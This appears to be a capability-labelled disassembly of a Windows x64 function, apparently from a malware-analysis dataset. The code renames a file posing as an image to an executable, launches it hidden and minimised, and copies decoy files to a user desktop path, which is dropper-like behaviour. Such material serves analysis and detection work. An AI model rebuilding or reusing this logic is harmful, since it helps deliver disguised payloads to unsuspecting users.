Function at 0x140001000
Capabilities:
Copy file
Create process on windows
Move file

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x358]
sub rsp, 0x430
mov qword [rsp + 0x78], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov rax, qword [0x14001d008]
xor rax, rsp
mov qword [rbp + 0x320], rax
xor edi, edi
mov dword [rsp + 0x70], edi
lea r12d, [rdi + 2]
cmp ecx, r12d
jl 0x14000197d
mov rax, qword [rdx + 8]
cmp byte [rax], 0x6f
jne 0x14000197d
cmp byte [rax + 1], 0x70
jne 0x14000197d
cmp byte [rax + 2], 0x78
jne 0x14000197d
mov r8d, 0x104
lea rdx, [rbp + 0x210]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
movdqa xmm0, xmmword [0x14001a680]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], dil
lea rax, [rbp + 0x210]
or rsi, 0xffffffffffffffff
mov rbx, rsi
inc rbx
cmp byte [rax + rbx], dil
jne 0x1400010aa
lea rcx, [rsp + 0x50]
cmp rbx, 0xf
ja 0x1400010d9
mov qword [rsp + 0x60], rbx
mov r8, rbx
lea rdx, [rbp + 0x210]
call fcn.1400059f0
mov byte [rsp + rbx + 0x50], dil
jmp 0x1400010e8
lea r9, [rbp + 0x210]
mov rdx, rbx
call fcn.140001d3c
lea r15, [rsp + 0x50]
mov r14, qword [rsp + 0x50]
mov r13, qword [rsp + 0x68]
mov edi, 0x10
cmp r13, rdi
cmovae r15, r14
mov rbx, qword [rsp + 0x60]
test rbx, rbx
je 0x140001169
xor edx, edx
mov r8d, 0x100
lea rcx, [rbp + 0x110]
call fcn.140003bc0
lea rcx, [0x14001a588]
movzx eax, byte [rcx]
mov byte [rbp + rax + 0x110], 1
inc rcx
sub r12, 1
jne 0x140001128
lea rax, [rbx - 1]
mov rbx, rsi
cmp rax, rsi
cmovb rbx, rax
add rbx, r15
jmp 0x140001157
cmp rbx, r15
je 0x14000116c
dec rbx
movzx eax, byte [rbx]
cmp byte [rbp + rax + 0x110], r12b
je 0x14000114f
sub rbx, r15
jmp 0x14000116f
xor r12d, r12d
mov rbx, rsi
mov r15d, 0x1000
cmp r13, rdi
jb 0x1400011a7
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, r15
jb 0x14000119f
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400019d1
mov rcx, r14
call fcn.1400022b0
movdqa xmm0, xmmword [0x14001a680]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], r12b
lea rax, [rbp + 0x210]
inc rsi
cmp byte [rax + rsi], r12b
jne 0x1400011c1
mov r14d, 0xf
lea rcx, [rsp + 0x50]
cmp rsi, r14
ja 0x1400011f5
mov qword [rsp + 0x60], rsi
mov r8, rsi
lea rdx, [rbp + 0x210]
call fcn.1400059f0
mov byte [rsp + rsi + 0x50], r12b
jmp 0x140001205
lea r9, [rbp + 0x210]
mov rdx, rsi
call fcn.140001d3c
nop
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], r14
mov byte [rbp - 0x40], r12b
cmp qword [rsp + 0x60], rbx
cmovb rbx, qword [rsp + 0x60]
lea r9, [rsp + 0x50]
cmp qword [rsp + 0x68], rdi
cmovae r9, qword [rsp + 0x50]
lea rcx, [rbp - 0x40]
cmp rbx, r14
ja 0x14000124b
mov qword [rbp - 0x30], rbx
mov r8, rbx
mov rdx, r9
call fcn.1400059f0
mov byte [rbp + rbx - 0x40], r12b
jmp 0x140001254
mov rdx, rbx
call fcn.140001d3c
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, rdi
jb 0x14000128c
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, r15
jb 0x140001287
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400019d7
call fcn.1400022b0
movdqa xmm0, xmmword [0x14001a680]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], r12b
lea r8, str.1.jpg
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x60]
call fcn.140001af0
nop
movdqa xmm0, xmmword [0x14001a680]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], r12b
mov dword [rsp + 0x70], 3
mov rdx, qword [rbp - 0x30]
add rdx, 0xe
lea rcx, [rsp + 0x50]
call fcn.140001e74
lea rdx, str.start__B__MIN
lea rcx, [rsp + 0x50]
call fcn.140001a10
lea r9, [rbp - 0x40]
cmp qword [rbp - 0x28], rdi
cmovae r9, qword [rbp - 0x40]
mov rsi, qword [rbp - 0x30]
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x68]
sub rax, rcx
cmp rsi, rax
ja 0x140001345
lea rax, [rcx + rsi]
mov qword [rsp + 0x60], rax
lea rbx, [rsp + 0x50]
cmp qword [rsp + 0x68], rdi
cmovae rbx, qword [rsp + 0x50]
add rbx, rcx
mov r8, rsi
mov rdx, r9
mov rcx, rbx
call fcn.1400059f0
mov byte [rsi + rbx], r12b
jmp 0x140001357
mov qword [rsp + 0x20], rsi
mov rdx, rsi
lea rcx, [rsp + 0x50]
call fcn.140001bcc
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x68]
sub rax, rcx
mov edx, 6
cmp rax, rdx
jb 0x1400013a7
lea rax, [rcx + 6]
mov qword [rsp + 0x60], rax
lea rbx, [rsp + 0x50]
cmp qword [rsp + 0x68], rdi
cmovae rbx, qword [rsp + 0x50]
add rbx, rcx
mov r8d, edx
lea rdx, str.3.pdf
mov rcx, rbx
call fcn.1400059f0
mov byte [rbx + 6], r12b
lea rax, [rsp + 0x50]
jmp 0x1400013bd
mov qword [rsp + 0x20], rdx
lea r9, str.3.pdf
lea rcx, [rsp + 0x50]
call fcn.140001bcc
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x10], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x10], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], r14
mov byte [rax], r12b
mov rdx, qword [rsp + 0x68]
cmp rdx, rdi
jb 0x140001417
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, r15
jb 0x140001412
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400019dd
call fcn.1400022b0
movdqa xmm0, xmmword [0x14001a680]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], r12b
lea r8, str.1.e
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x20]
call fcn.140001af0
nop
lea rdx, [0x14001a5b8]
lea rcx, [rbp - 0x20]
call fcn.140001a10
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], rdi
cmovae rdx, qword [rbp - 0x20]
lea rcx, [rbp + 0x60]
cmp qword [rbp + 0x78], rdi
cmovae rcx, qword [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_MoveFileA]
lea r8, str._opxx
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x40]
call fcn.140001af0
nop
xor edx, edx
lea r8d, [rdx + 0x64]
lea rcx, [rbp + 0xa4]
call fcn.140003bc0
mov dword [rbp + 0xa0], 0x68
lea rdx, [rbp + 0x40]
cmp qword [rbp + 0x58], rdi
cmovae rdx, qword [rbp + 0x40]
lea rax, [rbp + 0x80]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xa0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov qword [rbp - 0x68], r14
mov byte [rbp - 0x80], r12b
mov esi, 1
mov qword [rbp - 0x70], rsi
mov r8d, esi
lea rdx, [0x14001a550]
lea rcx, [rbp - 0x80]
call fcn.1400059f0
mov byte [rbp - 0x7f], r12b
lea rdx, [0x14001a5c4]
lea rcx, [rbp - 0x80]
call fcn.140001a10
lea rbx, [0x14001a5c8]
mov rdx, rbx
lea rcx, [rbp - 0x80]
call fcn.140001a10
lea rdx, str.User
lea rcx, [rbp - 0x80]
call fcn.140001a10
lea rdx, [0x14001a5d4]
lea rcx, [rbp - 0x80]
call fcn.140001a10
mov rdx, rbx
lea rcx, [rbp - 0x80]
call fcn.140001a10
lea rdx, [0x14001a5d8]
lea rcx, [rbp - 0x80]
call fcn.140001a10
lea rdx, [0x14001a5dc]
lea rcx, [rbp - 0x80]
call fcn.140001a10
lea rdx, [0x14001a5e0]
lea rcx, [rbp - 0x80]
call fcn.140001a10
mov rdx, rbx
lea rcx, [rbp - 0x80]
call fcn.140001a10
lea rdx, [0x14001a5e4]
lea rcx, [rbp - 0x80]
call fcn.140001a10
lea rdx, str.ktop
lea rcx, [rbp - 0x80]
call fcn.140001a10
mov rdx, rbx
lea rcx, [rbp - 0x80]
call fcn.140001a10
lea rdx, [0x14001a5f0]
lea rcx, [rbp - 0x80]
call fcn.140001a10
lea rdx, [0x14001a5f4]
lea rcx, [rbp - 0x80]
call fcn.140001a10
lea rdx, [0x14001a5f8]
lea rcx, [rbp - 0x80]
call fcn.140001a10
lea rdx, [0x14001a5b8]
lea rcx, [rbp - 0x80]
call fcn.140001a10
lea rdx, [rbp - 0x80]
cmp qword [rbp - 0x68], rdi
cmovae rdx, qword [rbp - 0x80]
lea rcx, [rbp - 0x20]
cmp qword [rbp - 8], rdi
cmovae rcx, qword [rbp - 0x20]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov qword [rbp - 0x48], r14
mov byte [rbp - 0x60], r12b
mov qword [rbp - 0x50], rsi
mov r8d, esi
lea rdx, [0x14001a550]
lea rcx, [rbp - 0x60]
call fcn.1400059f0
mov byte [rbp - 0x5f], r12b
lea rdx, [0x14001a5c4]
lea rcx, [rbp - 0x60]
call fcn.140001a10
mov rdx, rbx
lea rcx, [rbp - 0x60]
call fcn.140001a10
lea rdx, str.User
lea rcx, [rbp - 0x60]
call fcn.140001a10
lea rdx, [0x14001a5d4]
lea rcx, [rbp - 0x60]
call fcn.140001a10
mov rdx, rbx
lea rcx, [rbp - 0x60]
call fcn.140001a10
lea rdx, [0x14001a5d8]
lea rcx, [rbp - 0x60]
call fcn.140001a10
lea rdx, str.fault
lea rcx, [rbp - 0x60]
call fcn.140001a10
mov rdx, rbx
lea rcx, [rbp - 0x60]
call fcn.140001a10
lea rdx, [0x14001a5e4]
lea rcx, [rbp - 0x60]
call fcn.140001a10
lea rdx, str.ktop
lea rcx, [rbp - 0x60]
call fcn.140001a10
mov rdx, rbx
lea rcx, [rbp - 0x60]
call fcn.140001a10
lea rdx, [0x14001a604]
lea rcx, [rbp - 0x60]
call fcn.140001a10
lea rdx, [0x14001a608]
lea rcx, [rbp - 0x60]
call fcn.140001a10
lea r8, str.2.jpg
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x20]
call fcn.140001af0
lea rdx, [rbp - 0x60]
cmp qword [rbp - 0x48], rdi
cmovae rdx, qword [rbp - 0x60]
lea rcx, [rbp + 0x20]
cmp qword [rbp + 0x38], rdi
cmovae rcx, qword [rbp + 0x20]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileA]
lea rcx, [rbp]
cmp qword [rbp + 0x18], rdi
cmovae rcx, qword [rbp]
call fcn.140005e18
mov rdx, qword [rbp + 0x38]
cmp rdx, rdi
jb 0x14000178e
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, r15
jb 0x140001789
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400019e3
call fcn.1400022b0
movdqa xmm0, xmmword [0x14001a680]
movdqu xmmword [rbp + 0x30], xmm0
mov byte [rbp + 0x20], r12b
mov rdx, qword [rbp - 0x48]
cmp rdx, rdi
jb 0x1400017d5
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, r15
jb 0x1400017d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400019e9
call fcn.1400022b0
movdqa xmm0, xmmword [0x14001a680]
movdqu xmmword [rbp - 0x50], xmm0
mov byte [rbp - 0x60], r12b
mov rdx, qword [rbp - 0x68]
cmp rdx, rdi
jb 0x14000181c
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, r15
jb 0x140001817
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400019ef
call fcn.1400022b0
movdqa xmm0, xmmword [0x14001a680]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], r12b
mov rdx, qword [rbp + 0x58]
cmp rdx, rdi
jb 0x140001863
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, r15
jb 0x14000185e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400019f5
call fcn.1400022b0
movdqa xmm0, xmmword [0x14001a680]
movdqu xmmword [rbp + 0x50], xmm0
mov byte [rbp + 0x40], r12b
mov rdx, qword [rbp - 8]
cmp rdx, rdi
jb 0x1400018aa
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, r15
jb 0x1400018a5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400019fb
call fcn.1400022b0
movdqa xmm0, xmmword [0x14001a680]
movdqu xmmword [rbp - 0x10], xmm0
mov byte [rbp - 0x20], r12b
mov rdx, qword [rbp + 0x18]
cmp rdx, rdi
jb 0x1400018f1
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, r15
jb 0x1400018ec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001a01
call fcn.1400022b0
movdqa xmm0, xmmword [0x14001a680]
movdqu xmmword [rbp + 0x10], xmm0
mov byte [rbp], r12b
mov rdx, qword [rbp + 0x78]
cmp rdx, rdi
jb 0x140001938
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, r15
jb 0x140001933
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001a07
call fcn.1400022b0
movdqa xmm0, xmmword [0x14001a680]
movdqu xmmword [rbp + 0x70], xmm0
mov byte [rbp + 0x60], r12b
mov rdx, qword [rbp - 0x28]
cmp rdx, rdi
jb 0x140001999
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, r15
jb 0x140001976
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400019cb
call fcn.1400022b0
jmp 0x140001999
mov r9d, 0x10
lea r8, [0x14001a558]
lea rdx, str._rN_f
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
mov rcx, qword [rbp + 0x320]
xor rcx, rsp
call fcn.140002250
lea r11, [rsp + 0x430]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14000636c
int3
call fcn.14000636c
nop
call fcn.14000636c
nop
call fcn.14000636c
nop
call fcn.14000636c
nop
call fcn.14000636c
nop
call fcn.14000636c
nop
call fcn.14000636c
nop
call fcn.14000636c
nop
call fcn.14000636c
nop
call fcn.14000636c
int3